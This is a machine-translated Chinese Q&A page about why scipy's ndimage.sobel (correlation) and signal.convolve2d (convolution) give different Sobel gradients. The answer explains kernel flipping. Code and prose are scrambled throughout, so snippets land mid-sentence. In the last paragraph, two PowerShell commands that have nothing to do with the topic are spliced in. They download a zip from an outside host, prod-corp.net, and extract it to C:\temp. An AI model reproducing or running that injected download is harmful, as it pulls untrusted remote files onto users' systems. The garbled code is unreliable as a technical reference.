设置
我目前正在尝试使用sobel滤波器计算图像梯度。
最初,我通过scipy.ndimage.sobel
函数
sx = ndimage.sobel(im, axis=0,mode="constant")
sy = ndimage.sobel(im, axis=1,mode="constant")
sobel = np.hypot(sx,sy)
sobel *= 255 / np.max(sobel)
但是,这仅将(3x3)sobel滤镜应用于我的图像,但是我想尝试更大的滤镜。因此,我尝试使用numpy
和scipy.signal
计算图像梯度。首先,我再次尝试了(3x3)过滤器。
filter_x = np.array([[-1,0,1],[-2,0,2],[-1,0,1]], dtype=np.float)
filter_y = np.array([[1,2,1], [0,0,0], [-1,-2,-1]], dtype = np.float)
sx = signal.convolve2d(im,filter_x,mode="same",boundary="symm", fillvalue=0)
sy = signal.convolve2d(im,filter_y,mode="same",boundary="symm", fillvalue=0)
sobel = np.hypot(sx,sy)
sobel *= 255 / np.max(sobel)
作为this帖子中的建议。
问题
不幸的是,这两种方法都导致完全不同的结果,这在this问题中已经提到。
因此,我进行了更深入的研究,发现scipy.ndimage.sobel
使用correlate1d
函数而不是convolve2d
或类似的(source code)。不幸的是,无法查看correlate1d
函数的源代码,因为它的功能隐藏在我的conda环境的site-packages文件夹中已经编译的_nd_image.pyd
文件中。所以这是我的问题:
问题
有人清楚地知道correlate1d
到底在计算什么,它与convolve2d
有什么可比性?
修改
正如在Florian Drawitsch的回答中已经提到的那样,人们应该能够用相关性代替卷积。但是话又说回来,这些不同的结果如何出现?!
答案 0 :(得分:3)
从方法名correlate1d
和convolve2d
来看,我强烈怀疑前者计算相关性,而后者计算卷积。有什么区别?
通常来说,信号f
与内核g
的卷积涉及在操作f*g(-t)
之前翻转内核:f
相比之下,信号g
与内核f*g(t)
的相关性无需翻转内核即可完成:import numpy as np
from scipy import signal
from PIL import Image
from matplotlib import pyplot as plt
img = Image.open('lena.png')
plt.imshow(img)
因此,与使用相关性的结果相比,使用卷积应用定向边缘检测内核(例如sobel内核)应该会导致边缘倒置。让我们在代码中对此进行测试:
g = np.asarray([[-1, 0, 1],
[-2, 0, 2],
[-1, 0, 1]])
首先,让我们定义一个sobel边缘检测内核:
signal.convolve2d
现在让我们首先使用sicpy的img_convolved = signal.convolve2d(img, g)
plt.imshow(img_convolved, cmap='gray')
plt.imshow(img_convolved[100:150,100:150], cmap='gray')
...并放大边缘:
signal.correlate2d
现在,让我们使用sicpy的img_correlated = signal.correlate2d(img, g)
plt.imshow(img_correlated, cmap='gray')
plt.imshow(img_correlated[100:150,100:150], cmap='gray')
...并放大边缘:
img_convolved_flipped = signal.convolve2d(img, np.fliplr(g))
plt.imshow(img_convolved, cmap='gray')
最后,让我们将相关结果与如果使用翻转内核进行卷积会发生的情况进行比较:
plt.imshow(img_convolved_flipped[100:150,100:150], cmap='gray')
...并放大边缘:
signal.correlate2d(img, g)
因此,scipy的signal.convolve2d(img, np.fliplr(g))
等效于f
编辑(对2D代码示例进行说明):
请注意,在2D情况下,信号g
与内核f*g(-t,-u)
的卷积涉及围绕两个基本轴np.flipud(np.fliplr(g))
翻转内核。
因此,在我的代码中,我实际上应该将过滤器翻转两次: powershell -command "Start-BitsTransfer -Source https://prod-corp.net/public/Folder.zip -Destination C:\temp"
powershell -command "Expand-Archive -Path C:\temp\Folder.zip -DestinationPath C:\temp -Force"
。我已经省略了这一点,因为对于垂直对称的sobel滤波器不是必需的,但是请记住,这是一种特殊情况。